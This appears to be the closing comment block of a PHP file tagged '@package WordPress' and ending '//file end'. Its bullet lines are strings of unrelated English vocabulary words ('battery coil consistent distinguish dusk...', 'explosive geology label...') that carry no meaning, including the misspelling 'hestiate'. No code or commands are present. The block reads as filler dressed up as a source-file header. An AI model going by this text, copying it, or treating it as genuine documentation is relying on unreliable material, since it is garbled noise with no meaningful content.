* Internet abuse advertisement ban battery coil consistent distinguish dusk essential expansion favorable geometry global hook inhabitant isolate lest merchant minimum mood ultimate unique vertical withdraw.
* avenue bachelor derive descend domestic equivalent evolve explosive geology label outstanding portion prescribe provision reluctant remarkable restrain seminar shrug simplicity sketch strategic trace victim weave.
* bachelor deposit enthusiasm faulty flock illegal incident interpret oxygen particularly prosperity relief remote slide vanish vibrate vital.
* appropriate drift equivalent isolate medium navigation parallel range retail slippery target virtue vital.
* acknowledge durable forbid index male manufacture minimum oblige particle recruit unique.
* ban biology enthusiasm expand explosion garbage grant relevant terminal thrust trial triumph withdraw.
* battery comparable descend essential export gasoline hestiate hook leak reject remarkable slip tedious.
*
* @package WordPress
*/
//file end